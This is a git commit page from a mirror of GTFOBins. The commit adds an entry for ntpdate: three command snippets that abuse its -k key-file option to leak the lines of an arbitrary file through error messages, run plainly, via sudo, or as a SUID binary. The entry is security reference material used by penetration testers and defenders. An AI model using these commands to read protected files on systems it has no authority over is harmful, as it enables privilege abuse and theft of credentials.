mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Add ntpdate
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
6921399368
commit
e988dbb8fa
16
_gtfobins/ntpdate.md
Normal file
16
_gtfobins/ntpdate.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
description: The file is actually parsed and lines are leaked through error messages.
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
ntpdate -a x -k $LFILE -d localhost
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo ntpdate -a x -k $LFILE -d localhost
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./ntpdate -a x -k $LFILE -d localhost
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user